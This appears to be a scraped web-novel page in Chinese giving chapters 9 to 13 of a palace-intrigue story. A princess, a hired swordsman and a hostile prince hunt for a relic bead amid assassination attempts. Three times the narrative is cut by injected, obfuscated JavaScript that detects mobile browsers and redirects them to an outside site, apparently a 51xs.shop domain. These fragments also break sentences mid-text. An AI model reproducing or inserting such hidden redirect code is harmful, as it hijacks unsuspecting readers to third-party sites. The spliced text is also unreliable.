l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492872|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞声不绝。 唱的是《捉黄鬼》。 纪无涯低头垂眸,看向怀里的人,声音清冽慢慢道:“别装了,你没晕。” 身后表演杂耍的人从口中喷出火来。 他复道:“让我把你从宫里带出来,借我的手甩掉秦立山,目的呢?” * 京城内一处破旧小屋的房门被人推开,有两名黑衣人率先进去,检查一圈后确认没有危险才示意等在外头的人将人背进去。 背上的男子刚被人放下,他腹部的伤口瞬间又涌出血来。 黑衣人们率先跪下抱拳,领头的杨刻道:“主子,属下来迟了。” 裴淮用手臂撑着坐直身子:“无事,只是没想到秦立山武功这么高强,竟能伤了我。” “此番我们已打草惊蛇,主子接下来该怎么办?” 裴淮沉思半晌道:“你确定我们要找的东西有下落了?” “千真万确,属下得知前不久被送进了宫中。” “今夜让你们杀的宿宁公主如何?” 裴淮想起今晚李之夭的嘴脸,气不打一处来,一个亡国的公主,如此嚣张放肆,还好他留了人前来接应,否则真被她给害死。 “属下办事不利,宿宁公主身边疑有高手守护,前去刺杀她的兄弟们无人生还。”杨刻立马低下头认错。 裴淮愣神,先前只知晓李之夭身边有几名禁军扮做侍卫守着,除此之外并无别的什么高手在身边,没想到还是他大意了。 杨刻补充:“主子,另外我们留在北唐的探子说明日北唐出使奏折就到大魏京城,似乎想议亲。” 裴淮目光一狠:“大魏只有绾妃生下来的十二岁的公主,他们找谁议亲?他们狼子野心,连慎吞并燕国后下一个必定是北唐,绝不能让他们得逞,这次必须将大魏闹个底朝天。” “是!” 等人离开后,他低头看向腰间一枚断玉,双指指腹轻轻摩挲,想起今夜场景,如水一般的姑娘原本恬淡的面上出现难得慌乱,目光不知不觉柔和许多。 “清清,找到你了。” 9. 试探 第9章 外头灯火璀璨,隐隐约约能听到走街串巷的叫卖声,哪怕已过子时,人潮不减,一派和谐景象,比起外面皇宫里倒是寂静许多。 苏月清好不容易从璃秋手里拿来簪子,赶往宿宁宫,远远便看见大火一片,越靠近越能看到四处奔走打水的宫人,她回到墙角暗处救下来的男子亦不知去向。 地面血迹尚在,看宿宁宫的样子,男子不像是去了里面,思索再三她收起簪子,欲要离开,却被蒙面男人挡住了去路。 他递给苏月清一枚玉佩低声道:“这是我家公子让我留给姑娘的。” 苏月清抓住男人的衣袖,急迫道:“你们家公子在何处?他说他知晓我的身世!” “姑娘想知道不妨等下次再见时亲自问公子。” 留信的人离开,暗处只剩下苏月清一个人,耳畔吵闹,闹得她有些头疼。 她不想去管宿宁公主现在如何,死了就死了。 既然男子能派人来传信,就说明他已脱离危险,苏月清有预感,她还会再见到他。 苏月清走到御花园附近,随手将簪子扔进石子路旁的草丛里。 方才也未见宿命公主出现,盖着白布抬出来的尸体有不少,原来宿宁宫伺候的下人个个哭得肝肠寸断,想必李之夭遭遇了意外,刺杀之事几乎每日都有,她死了是早晚的事,现在她要这东西也无用。 她进大魏皇宫,就是为了自己身世,现如今知晓她身世的人已出现,她再有点耐心也不是不可。 苏月清彻底走远,璃秋出现在她丢弃簪子的地方。 她吹亮火折子点燃手中灭了火的灯笼,细细寻找被苏月清扔了的簪子。 六月的夜晚,虫鸣声声,乱糟糟的后宫随着宿宁宫的大火被浇灭也逐渐进入尾声。 禁军从火场里拖出好几具被烧焦的尸体交给大理寺验尸,死者身份等大理寺验尸完才有定夺。 清武帝眼巴巴看着一具又一具尸首运走,人数有点多,莫约十几具,他也分辨不清哪具是李之夭的,留下来的活口在禁军赶来的时候自己一头扎进火场里烧死了。 清武帝悬着的心死了。 他瘫坐在地上,险些又要晕厥过去,吓得太医时刻准备为他扎针。 “皇上,龙体要紧。”孙广全又慌又急,满眼担忧。 “孙广全,你说朕以后是不是又要多一件后悔的事了?” 清武帝想起小时候他妹妹还在世的时候,不谙世事的孩童追在身后跑,声音清脆,喊他阿兄一遍又一遍,说,有阿兄在,漱漱日后不管如何都放心。 他身为皇帝,总得怀疑一些人,哪怕那个人是他阿妹的孩子,哪怕李之夭进入大魏皇宫后再三表明不会复国,他也忍不住会产生怀疑,想去试探,给她告诫。 现在一把火将宿宁宫烧得一干二净,他什么都找不到了。 清武帝让孙广全扶着他起身,“孙广全,朕食言了,没能照顾好宿宁。” 一名禁军来到跟前抱拳跪下,“皇上,秦大统领去追挟持宿宁公主的贼人去了,是否要再增加些人手去接应秦大统领?” 清武帝颤抖的手忽然不抖了,他原本酝酿出来的情感瞬间憋了回去,久久才回过神来。 “什么?” 禁军再重复了一遍:“宿宁公主被贼人掳走,秦大统领孤身追去了,是否加派人手出宫接应?” 死了的心又活了。 他好些时候才缓过神来,命人将小顺子和春夏提来质问。 “你们公主没死你们哭嚎什么?” 春夏吓得不轻,跟小顺子跪在地上解释:“我们看到宫中起火,加上公主被人掳走,一时心急,这才哭喊了出来。” 清武帝揉了揉眉心,想发作的气堵着出不来,也不能怪他们,说到底是他自己会错意。 “加派人手出宫接应秦立山,务必找到宿宁,还有日后宫中若无大事不得随意在众人面前哭嚎,成何体统!” * 纪无涯垂眼,怀里的人睁开原本紧闭的眼睛,少女眼瞳湿漉漉的,瞳孔里印着头顶的灯火,手抓着他的衣襟,勾唇笑得狡黠。 “那么你呢?” 她反问道,“纪无涯你呢?你明明有机会取我性命,为何迟迟不下手。” 纪无涯别开眼不去看她的那双眼睛,衣襟被拽得有些发紧,少女身上若有若无的桂花香味往他鼻腔里撞。 孩童手持风车嬉笑跑过,不留神撞在纪无涯身上,他步子踉跄还是稳稳将李之夭托在怀里。 纪无涯将李之夭放下来,沉声开口道:“这是另外的价钱。” 他往前走,李之夭跟在他身边。 “你先前问我的问题,我亦是如此。” 李之夭买了幕离戴上,白色的帷幕挡住她的面。 她抬头发现纪无涯笔直立在前方,似乎在等她,指尖还上下抛着两枚银币,鲜红的尾,在他玄衣前,分外扎眼。 纪无涯回头也在看她。 他初到京城,平日落脚在客栈,或流连于酒肆。 他素来喜饮酒,但京城里的酒太淡,找不到跟在江湖里一样烈的酒。 京城里繁华富庶,酒香软玉迷人眼,跟他刀尖舔血的日子相差甚远。 纪无涯只谈生死,不问风月。 所以,这里的酒他并不怎么喜欢。 他收回目光,转身融进熙攘人群里。 此番来京,也不是为了玩。 进宫三次,都没找到线索,他甚至怀疑不在宫里,反倒让 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“陪我去趟护国寺,你把我掳走,现在城门已经封锁,我自己是出不去的,但你可以带我去。” “找我帮忙……” “我知道,很贵的。” 李之夭打断他的话,“方才若不这样,你早就跑了。” 纪无涯不置可否,若她不闹,他还真会撇下她独自离开。 除了宫里的事,宫外的面与他无关,他素来不给予理会。 就算收钱,也是看心情。 “行,价格怎么算?” “六十两,去护国寺没有危险,顶多是劳烦你驼我爬个山,也戳戳有余。” 李之夭说的理直气壮,反倒把纪无涯气笑了。 “成。” 李之夭看纪无涯拉住她的胳膊,下一秒天旋地转,她再次被纪无涯扛起来,视线升高。 她肚子抵在纪无涯的肩膀上,有些难受,加上他时上时下的飞檐走壁,晃得她一阵恶心。 如所料,有纪无涯帮助,出城确实轻松。 护国寺在城外五里地的凤山上,刚出城纪无涯吹响口哨,一匹枣红骏马闻声飞驰而出。 纪无涯将她丢上去,丝毫没有怜香惜玉,拽住缰绳翻身而上,策马赶往凤山。 李之夭趴在马背上,一阵颠簸。 她挣扎喊出声来:“纪无涯!你是不是故意的!快放我下来!” “嗯。” “你敢这样对你的雇主?扣钱!我扣你钱!” 李之夭觉得胃里翻江倒海,一阵恶心。 10. 乌龙 第10章 “你扣了,后面还会赚回来。” 上了凤山,李之夭哆哆嗦嗦从马背上下来。 寺院已熄灯落锁,因前住持玄心大师圆寂,目前不足百日,寺庙现在还未将白绸取下。 纪无涯盯着门看了好一会儿后才松开缰绳,让马离开。 “你认识玄心大师么?” 他问。 “纪无涯,我要吐了。” 纪无涯转头朝李之夭看去。 她扶着树干,哇一声吐了出来。 纪无涯:…… 李之夭说完在一旁吐得昏天黑地,纪无涯下意识给她递去腰间的水壶。 她拔掉塞子往嘴里灌水,对方才想起来里面装的是什么,急忙出声阻止。 “别喝!” 李之夭听已给自己满满惯了一口,辛辣瞬间席卷喉咙直冲天灵盖,呛得她眼泪不停往外掉,咳得快把半条命搭进去了才缓过神来。 “那是酒……” 纪无涯有些不忍直视此时李之夭的狼狈,就连说话声都弱了几分。 “抱歉,我忘了这里面装的是酒。” 李之夭气得将水壶高举在半空中,砸也不是,不砸也不是。 恼火得找不到发泄口,想给自己来两拳。 他已跟她道过歉,李之夭再发作倒显得她小气。 水壶里的酒方才李之夭灌下去不少,现在身上一股酒味儿。 这会儿酒劲上来,她只觉面颊发红滚烫,脑子也昏昏沉沉的,有点不受自己控制。 李之夭猛跪在地上,朝他拜了三拜,纪无涯瞬间寒毛竖了起来,地上的人再抬头时,一把鼻涕一把眼泪往下流。 “母妃,儿臣今日也是见到鬼了!见到死鬼了……” 她说着抓起纪无涯的衣摆擦了擦鼻涕。 他低头看着被李之夭擦鼻涕用的衣摆,心里默念好几遍‘不生气’,这是他给错东西罪有应得,好不容易让自己情绪稳定下来,谁知李之夭突然目光呆愣了片刻,抱着他的大腿直接开始喊娘,哇哇乱哭。 纪无涯蹙眉,李之夭哭得上气不接下去,开始胡言乱语他一句也没听清,他抬手敲在李之夭后颈处,世界安静了。 他扯了扯衣摆,长舒口气,最怕人哭了。 纪无涯好心将李之夭挪到树下,自己则是飞身上树干,横坐在上面。 远处京城灯火点点,因白日睡饱现在毫无困意,便闭目养神静待天明。 李之夭现在身上有酒气,进佛门不合适,等酒味儿散去人醒过来再做打算。 三月末时,玄心大师圆寂,火化后留下一枚舍利子,后来护国寺再也没有舍利子的消息,前段时间,有人从护国寺送了一颗珠子进宫。 纪无涯想找那颗珠子,意外发现还有一波人也在找那颗珠子。 此番出来,他本想先来护国寺拜见玄心,却得知他圆寂的消息,就连珠子都被送进了宫中,就是不知珠子是否是他要找的东西。 他进宫两三次,找了几处很有可能在的地方,都没看珠子,听说被皇上送人,殊不知送给了谁。 纪无涯看向躺在地上的李之夭。 或许让宿宁公主帮忙比较快些。 月渐东移,露晞欲曙。 护国寺的大门打开,他扛起李之夭迎上去。 “师父,想借个落脚地方,顺便祭拜玄心大师。”和尚见他扛着名姑娘,面露狐疑,纪无涯解释,“我等昨夜遭遇贼人,逃亡一宿,她晕过去了。” 和尚上下打量一番,他们风尘满面,姑娘身上的衣物很脏,头发凌乱,还带着血腥味,少年内息平稳,说话声音铿锵有力,不像被追杀一夜的样子。 怕不是哪家抢劫的大盗劫持了姑娘,编排出来的说辞。 纪无涯从怀里掏出一枚银币,只不过不同于往常他常拿出来的银币,这个是金色的。 看到此物和尚立马改变态度。 “玄心师父在世时曾说过若有人持金色圆币前来,不得拒之,郎君里面请。” 和尚引他进去后,找了个小和尚要为他带路,纪无涯拒绝道:“不必麻烦师父,我知晓该去往何处。” 玄心留下叮嘱,和尚也不再多说什么。 纪无涯轻车熟路穿梭在护国寺内。 趴在他背上的李之夭听完全程忍不住出声:“纪无涯,你究竟是何人?” “不装了?” 他将李之 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像一只跟在狼身边的兔子,害怕又大胆。 这样的李之夭,却又跟他想象的不一样,哪怕他见过不止今日这一次。 “纪无涯,你想要多少钱?” 云层被破开,寺庙古老的钟声响起,回荡在山谷,空悠悠的。 林间群鸟纷飞,溪水汩汩。 纪无涯道:“这次我不要钱,要你帮我办件事。” 她一脚踩在石头上,宫中绣鞋的鞋底本就薄,这一下石头硌得她脚板生疼,整个人蹲了下来,捂着脚皱眉,充满眼泪的眼睛直溜溜顶着走在前头的纪无涯。 李之夭撇撇嘴,她身为公主,从前在燕国皇宫,哪怕现在在大魏,她向来是金贵的。 “伤哪了?” 纪无涯折返回来。 “硌到脚了。” 动不动就哭的爱哭鬼。 听到李之夭这么说,再对上擒着眼泪的眼睛,纪无涯越发觉得他评价没有错。 不仅是个爱哭鬼,还是个黑心肝的爱哭鬼。 跟传闻里的不一样。 11. 祭拜 第11章 他记事起最怕旁人掉眼泪。 从前在师门就是如此,像记忆里他母亲选择弟弟而放弃他那时候一样,泪流满面说着自己的不容易,他们一家的艰难。 所以纪无涯离家,走得很干脆,只带了自己赚回来的钱剩下的最后十枚铜板,没有回头。 别人在他面前掉眼泪,意味他又做错了。 像他的母亲,像当初把他坑进楼里的那个人,那人害他却又救他。 余生有涯亦无涯。 “你别哭了。” 纪无涯朝李之夭伸出手,“我背你上去,接下来的路有点难走。” 李之夭不确定是不是自己眼花了。 因为方才她从纪无涯毫无感情的漆黑眼瞳里,看到一闪而过的难过。 少年嗓音淡淡的,在不算太明的穹光下,整个人轮廓都是虚无。 他沉默地将她背上山,路上谁都没说一句话。 “纪无涯,你想让我办什么事?” 他们登上山顶,云海早已被金光驱赶,烈日当头。 山顶有一座钟塔,钟塔旁边栽了几棵梧桐树。 这里看上去很久没人没来了,满地落叶,梧桐树后是一间小院。 纪无涯将李之夭放下来,推门进去。 “前些日子,从护国寺送进宫里一颗珠子,是玄心大师留下的,我想让你帮我找到那颗珠子。” 李之夭愣住。 前些日子从护国寺送进宫的东西,只有一颗舍利子,被制成珠子的样子。 那东西好巧不巧,就在她手里。 纪无涯回头:“很难?” 她摇摇头。 “不难,我可以帮你找。” 李之夭语气试探,“你要那东西作甚?” “救命。” 纪无涯立在小院中央,“昨日想杀你的杀手是某人麾下的死士,半道上劫走了你送给秦立山的人,转头又过来杀你,那帮人也是想找珠子。” 纪无涯拂去院子石桌上的灰,留下三道指尖划过的痕迹,话锋一转语气留恋。 “这里曾经我和老和尚住过一段时间,后来他一声不吭外出云游,我也走了,不过都是十岁之前的事了,没来得及再见他一面。” 李之夭拼命回想书中跟纪无涯有关的剧情,但什么都没有。 虽看完书中全部,现在她对纪无涯在书中的描写,不记得是否有号人物。 难不成因为她的觉醒,导致原剧情发生了改变?但按照纪无涯的身手来看,不会一点痕迹都没有。 纪无涯道:“你来护国寺,为何?” 她想来护国寺查清楚舍利子是什么情况。 高僧圆寂,按照护国寺的规矩,应当将舍利供奉在寺院内香火三年,哪有人轻易就把东西送出去。 “自是祭拜。” 李之夭面不改色地说道,“玄心大师我久闻盛名,只可惜没能见到他最后一面。” “你认识玄心大师么?” “听过,但从未见过。” 她又问,“你除了玄心大师,可还认识别的僧人?” 纪无涯摇头:“我常年在山顶,鲜少下山,不认得。” 听他这么说,李之夭也不再继续追问下去。 关于舍利子的用途,书中也并未提及,只道男主裴淮在大魏寻得一宝,从此如虎添翼,给了他回北唐的底气。 宝物难不成就是纪无涯口中送进宫中的珠子? 李之夭不得不再次感慨,男主不愧是男主,明明重伤必死的局面,应是能让他杀出一条血路,活了下来。 二人一前一后进屋,趁他去检查堂屋的时候,李之夭则进了外面左边的屋子。 小院一共有三间房屋并排而立,中间为一,左右为二三。 屋子里的东西几乎是竹制品,除了落灰的书籍,就剩下瓶瓶罐罐。 李之夭随意拿起一本书,是本不常见的医书,她看了一圈,屋子里全部是医书,且都跟疑难杂症有关,还有一些鲜为人知的杂论。 李之夭打来瓶口闻了闻,时间过去许久,药味儿早已散去,接连闻了几个,有些还残留药味,有些早就什么都闻不到了。 她不懂药理,自然也闻不出所以然来。 纪无涯还未出来,李之夭顺走一瓶残留药味的瓶子。 回宫找太医研究研究。 一屋都是医书,玄心大师在她记忆里身体硬朗,并不像身患 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492875|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顽疾之症。 也未曾听说宫中有人染病在护国寺医治的。 这间屋子并无特别之处,李之夭回到堂屋中。 “玄心大师身患重病或受过伤么?” 纪无涯拉开抽屉,翻找里面的物件。 “从未听说过。 李之夭见他要去旁边的屋子,出声道:“不用去了,那间屋子我检查过了,除了医书就是一些些瓶瓶罐罐,没别的了。” 纪无涯身形一顿,很快便应了下来。 “好。” 李之夭觉得他很怪,先是对她的态度,后来又是在玄心大师的这件事上,现在听到隔壁屋子的话,说出来的话很平静,动作却又不诚实。 希望耿进才能尽快查到纪无涯的信息,否则现在她身边发生的一切,都在跟原文脱轨,超出她的认知。 他们检查的是右边屋子,纪无涯推门进去,屋里摆设很简单,进门的时候传来一阵风铃响。 “这是我住的地方。”纪无涯说着便开始检查起屋子。 “那玄心大师住哪里?” “老和尚经常一个人在堂屋里打坐,不打坐的时候就在屋子里钻研医书,如果实在累得不行就铺一层床褥在这里休息,我将床铺让出来,反倒被老和尚教训了一顿。” 他们住的地方家具设施都不算多,除了床榻也就只有一张木桌和一个柜子,还有几摞书。 书的内容很杂,涉猎很多。 “这些你都看过么?” 纪无涯轻轻应了一声,面上始终没有变化,像在叙述无关紧要的事情。 “山上没事干,除了敲敲钟,剩下就是养心打坐看书。” 找了一圈,这里并无他想要的东西。 此时门口脚步声靠近,来了一位老和尚,手中盘着菩提珠,年纪莫约七旬。 “老朽拜见公主,宿宁公主许久未曾来我护国寺了,怠慢公主请赎罪。” 纪无涯狐疑地看向她。 李之夭头大,没想到打脸来得这么突然。 “悟尘方丈言重了,是宿宁没有提前告知。” 悟尘转头看向纪无涯:“无涯小友,亦是许久未见了。” 纪无涯突然也觉得脸疼。 12. 虎狼 第12章 秦立山带人在城中搜了一夜,都没找到公主和刺客的踪影。 他目光紧盯城门,从昨夜观察来看,刺客身手不凡,若有意带公主出城不是难事。 “剩下的人继续留在城中盘查,出城的人都给我盯仔细了,剩下的人跟我出城!” 秦立山交代完便策马追了出去,并飞鸽传书进宫中,告知清武帝目前进展。 清武帝上完早朝,派人去太学院将太傅徐子清请来。 看完最新的回信,清武帝将它推到徐子清面前。 “太傅,夭夭已失踪一宿了。” 徐子清捋着下巴上胡须,沉吟半晌,拿起信纸阅读。 “大魏上下盯宿宁的人众多,想必凶多吉少,她在我膝下两年,亦是我的学生,皇上以为朝中大臣为何如此反对夭夭?” 看完信条,将它放进小炉内燃掉,复为清武帝添茶,清武帝接过道:“如今丞相外出西行,朕只能找你,夭夭是阿妹的孩子,朕答应过阿妹会保夭夭后半生顺遂,她常年生活在宫里,这孩子有没有造反的心思朕知道,朕不能失信于朕的亲人。” “根据秦大统领的传信来看,夭夭极有可能不在京城中,今日早朝北唐使臣送信说欲要来访,派出的使臣是他们的三皇子。” 清武帝不解宿宁失踪跟北唐的信有何关系,但徐子清跟丞相二人都是当初力挺他上位的人,想必有自己的道理。 “有,朕已应他们拜访,想必两月后使团就能抵达。” “皇上为何不派人去北唐看一眼?” 清武帝微微皱眉,随后恍然:“太傅是说……” 徐子清没一锤定音肯定他的话,退了一步道:“不怕一万就怕万一,使臣的信今日刚到,昨日夜里夭夭便被劫走而走,北唐那边不可不防。” 话虽如此,清武帝很快犯难:“朝中大多数人巴不得夭夭出事,怎可能心甘情愿去找夭夭。” “臣当年游历之时,曾听闻大魏跟燕国交界,有一宁缘城,宁缘城有座月缘山,山中有楼阁名叫缘楼,此楼乃是江湖能人异士汇集之地,只要钱到位,没有他们办不成的事。” * 李之夭在护国寺用完早点,这个时辰已有大批香客上山烧香,寺庙里僧人忙碌,悟尘将他们引到正殿前。 “师父,方便问一下现在寺院住持是谁么?” 李之夭出声。 “贫僧代为管理,但现在玄心师父圆寂还差三日才足百日,百日后才会举行接任仪式。” 纪无涯道:“前段日子,老和尚留下的一颗珠子被送进了宫中,我想知道是谁做的。” 悟尘睨了眼李之夭才诧异出声:“珠子?” “悟尘师父,听闻玄心大师圆寂火化后留下一颗舍利子,能否带我去看看?”李之夭眨眨眼睛,很是感兴趣的模样。 “舍利就在正殿内供奉,按照护国寺的规矩高僧圆寂后需香火供奉三年,我带你们去。” 悟尘说着便引他们二人进殿,来到佛像下,指着香案上最外的那颗舍利道,“就在这里,日日有武僧看守,从未出错。” 这下轮到李之夭诧异,若那颗送进宫的并非玄心的舍利,又会是何物。 是何人有这么大本事借护国寺的名头将东西送进宫,又有何目的? 起初她本是来查看护国寺内有何猫腻,有可能是寺中僧人搞错了,现在乍一想并没白来。 “七日前确实有一颗珠子从护国寺送到了宫中,当初是谁负责整理老和尚遗物?” 纪无涯也察觉其中不妥之处,“今早我找遍院子,那里并无人清理过,半年前老和尚给我送信说给我留了颗珠子在小院,如今东西不见了。” “无涯,你有所不知,玄心师父在你走后第二年便回来了,得知你离开的消息后他独自上了一趟山顶,没过多久便下山了,还带了些衣物,说要住在寺院里,不允许任何人上去,你走后便由我负责敲钟,当日玄心师父留下这句话后,又在半山新起古钟,院中轮流负责,玄心师父一直都在大殿内打坐,并留下一句话说若有人持金色圆币的人扣门,不得阻拦,五年的时间都这样,还让我们不准收拾山顶上的屋子,至于珠子未曾见过。” 纪无涯神色恍惚,若五年间没人上山,珠子确实应该在里面,但他找了一圈都没踪影,怎么就不翼而飞。 李之夭揣测道:“会不会玄心大师根本就没什么珠子?” “不会。”纪无涯笃定否决,“老和尚不会骗我。” “可半年前的传信,为何你现在才来?”李之夭神色诧异。 纪无涯脸上闪过不自在,心事重重。 “因当时我受伤无法下床,养了半年才见起色。” 在李之夭眼里这也说得过去,做他们这行,哪能顺风顺水,她也就没继续问下去。 若送进宫里的舍利就是纪无涯想找的珠子,可她目前也不确定这珠子有何用,怕明目张胆暴露东西在自己手里,纪无涯她尚且相信他的为人,但裴淮她可不信,若是引来裴淮必定是个麻烦。 既然裴淮跟纪无涯都在找珠子,书中所述一宝,十有八九是她手里的珠子。 与其让裴淮找到给自己添堵,不妨她先跟着纪无涯看看珠子有何用,此物若真是玄心给纪无涯的,她也不会无缘无故霸占,反倒还能从纪无涯身上捞点好处。 “七日前确实有一珠子送进了宫中,我知道那颗珠子的下落。” 纪无涯闻言原本暗下去的目光顿时又亮起来,李之夭为了不把话说太满,给自己留点余地,复道,“但不知是不是你口中那颗,也不知是真是假。” 悟尘神色晦朔,看向外面刺眼天光:“何人用护国寺名头行事,这件事老衲一定会调查清楚,会给公主和皇上一个交代。” 李之夭打量他片刻,有人自领要查,她也不会拦着,勾唇拱手客气道:“有劳了。” 临行前又见今早开门的和尚正扫着门前小道。 “师父,打扰了。” 和尚闻声双手合十,李之夭出声,“今日我们进寺院后,可有人通知悟尘方丈?” 和尚摇头:“因玄心师父生前叮嘱,未曾派人禀告过。” 李之夭道谢后跟纪无涯一路往山下走,还顺手捡回昨晚弄丢的幕离。 从凤山回到京城,一共五里地,倒是她仗着自己有钱,拿出银子,让纪无涯为她牵马走了半天。 第一次骑马,临近晌午才走了不过三里地,嫌颠簸要掉下来停在路上好久才缓过来,一会儿嫌太快她害怕。 现在正是日头最烈的时候,又晒又热,哪怕她带着幕离,完全好受不了一点。 纪无涯给她牵马,自己还是走路,他保持良好职业道德,未曾说什么不满的话,由着她来。 枣红马缓慢前行,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492876|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李之夭先在马背上睡着了。 纪无涯调头将马牵到旁边的柳树下,自己去河边抄水洗了把脸,随后起身拍了拍马的身子,让它顺着河边继续前行。 有人落在他跟前,“师兄,有人在查你,看情况是从京城来的。” 纪无涯目光追随前行不远处的马,“寻方,摸清对方来路。” 寻方拱手:“无涯师兄,你接下来打算怎么办?” “老和尚给我的珠子进了宫中,我要先找回来,宿宁是燕国的公主,就算现在燕国没了,她也是除了裴淮之外的一条线索。” “智先生那边……” “无事,目前找到珠子最为要紧,他那边我会跟他解释,他虽是雇主,但目的没达到之前,我不会让李之夭死了。” 寻方神色一变,警惕地看向四周。 “师兄,有人追过来了。” 纪无涯似乎想到什么,飞身朝前方的李之夭追去,“你先离开!” 李之夭迷迷糊糊睁眼,差点被眼前景象吓得从马背上掉下来。 迎面蒙面杀手从天而降,手持的长剑,眼神凶狠,对方没料到李之夭会在这时候醒来,手中落下的剑速度越发快起来,处于保命本能躲过去便从马背上跌落,在地上滚了几圈险些落进旁边的河道中。 她从地上急忙爬起来,周围不止一个人,莫约来有七八人,只派出一人截杀她,剩下的人全都赶去围攻纪无涯。 这帮人跟昨夜的人是一伙的。 是裴淮对她起了杀心,想杀了她以解心头之恨。 这会儿前路走不通,她闭眼直接跳进了水中,杀手还能下水追她不成。 河水不算很深,到一名成年男子脖子位置。 李之夭会水,在岸上面对众多杀手坐以待毙不是她的习惯,游到河对岸另做打算。 纪无涯抽出腰间软剑,剑锋割破杀手的咽.喉,夏日下,杨柳依依,地面斑驳细碎,岸上互相厮杀的身影因水面水光而有些晃眼,热气熏腾眼前一片氤氲,蝉鸣不止。 源源不断的人前仆后继赶来,看到李之夭跳水逃跑后已经开始朝水里射箭,他身形极快,脚踏杀手肩膀轻功靠近对李之夭动手的蒙面人跟前,软剑剑身径直插进蒙面人的胸口。 下一秒他飞身屈膝用膝盖踢到正在射箭一名杀手下颚上,杀手直接人仰马翻,口中牙齿脱落,手中弓箭和脱手而出,纪无涯闪身扯下他后背的箭袋。 纪无涯于半空中伸腿踢到弓箭,软剑缠回腰间,于此同时,他从箭袋中抽出两只箭搭上长弓,箭矢疾驰而出,射杀另外两名弓箭手。 李之夭浮出水面换气,震惊于看到不远处岸边还有杀手,弓箭对准了她。 为首的人正是重伤坐着轮椅的裴淮。 前有狼后有虎,她困在中间进退不得。 裴淮面色苍白,坐在轮椅上,一双凤眼阴鸷,死死盯着她,若眼神能杀人,她此时早就被裴淮杀死好几次了。 岸上的石头像雨水一样砸来,其中混杂着几支利箭。 利箭并没伤到她,裴淮想跟她继续慢慢耗着,用这样的方式,让她内心崩溃。 “昨日你失言戏耍我的时候,就应该想到会有今日的情景,本以为你在宫里还需我费点力气,你倒是自己出来了。” 裴淮目光凛冽,充满怒火,话语间全是恨意。 “李之夭,是你自己找死。” 13. 谈判 第13章 流落他乡的皇子,杀了一个侮辱戏弄他的女人。 那个女人尊贵无比,在剧情里看简直大快人心。 他往后跟女主利用她,让她做棋子,给自己铺路。 尚未觉醒的她不过抓住一个能帮她的救命稻草,把全部信任都给了他们。 到头来付之东流,拿去喂了狗。 她骄纵任性,但没遇到苏月清之前,她什么杀人害命有损道德的事都没做过。 为了男女主所谓的坎坷人生,还有他们的隐忍,一路逆袭成长,到最后的高光时刻,成就传奇的一生。 她成了罪人,万人嫌的女配。 现在的她没有做任何错事,藏拙明哲保身,鲜少抛头露面,可为何他们不能将她当做个透明人,还是要找上她? 裴淮似乎很喜欢看李之夭挣扎地场景,眼底抹上一丝愉悦。 李之夭浮在水面上,逐渐感到脱力,躲闪时又呛了几口水。 后面岸上围攻纪无涯的人很多,看样子裴淮为了对她竟是把自己留在京城的人全数出动。 她稳住呼吸,想办法尽快让自己脱离险境,完成自保。 “我知道你是谁。” 裴淮神色不明,却露出了感兴趣的想法。 “哦?” “璃王殿下。” 她顿了顿,“剩下的还要我继续往下说吗?” 裴淮在北唐是皇帝的第六个儿子,封号璃王。 书中道璃王性格阴晴不定,为人狠戾是个狠角色,睚眦必报,但又是北唐的天才少年,却因生母原因不得志,在朝中遭受排挤,于是他流落在外的期间,很快创建了自己的势力,并将其发展扩大。 这句话似是触碰到对方的逆鳞,裴淮顾不得身上的伤,飞身揪住李之夭的衣襟将她从水里提了出来。 上岸后被裴淮掐着脖子死死摁在柳树的树干上,后背撞在树上,撞得她后背火辣辣的疼。 “李之夭,你是急着去送死,谁告诉你的?” 裴淮的身份在大魏除了身边心腹,他并未向任何人透露过。 现在竟然被一个常年深处宫中的前朝公主轻而易举说出来,他想把她杀了的念头更加肆意生长,疯狂蔓延。 不光侮辱他,还知晓他的身份。 李之夭被他掐地有些喘不过气来,不停掰他的手,企图从他手里夺取更多的呼吸权力,但嘴上丝毫不见示弱。 “不光如此,我还知道你想找的东西在哪里。” 她说完掐她脖子的力道愈发加重,感觉脖子都快掐断了。 耳鸣声快让她脑袋爆炸。 “李之夭,本王劝你赶紧说实话,你怎么知道的?” 裴淮声音阴恻恻的,因为身上的伤,说话声一阵虚浮,最后几乎声嘶力竭。 “还有东西在哪?!” 李之夭断断续续吐出几个字:“杀了我,你就永远别想知道。” 说完,脖子上的力道猛地消失了。 珠子就是最大的筹码。 她脱力跌坐在地上,不停咳嗽,对方再次坐回轮椅上大口大口喘气。 李之夭脖子上被掐出一道鲜红的指印,她的余光落在河对岸。 纪无涯似乎被人缠住,双方僵持不下,他视线朝这边望来。 下巴的疼痛让她回神。 裴淮捏着她的下巴,注意到李之夭的目光,戏谑道:“怎么?你身边的暗卫是你情郎?你赶紧说出来,本王保证留他全尸,那些江湖人可是本王专门从缘楼里请来的。” “缘楼?” 纪无涯看清对方路数后微微皱眉,吐出两个字。 对方为首三人面露得意之色。 “正是缘楼,没想到你一个小小暗卫也算有眼光,竟识得缘楼。” “想活命的话就乖乖束手就擒!” 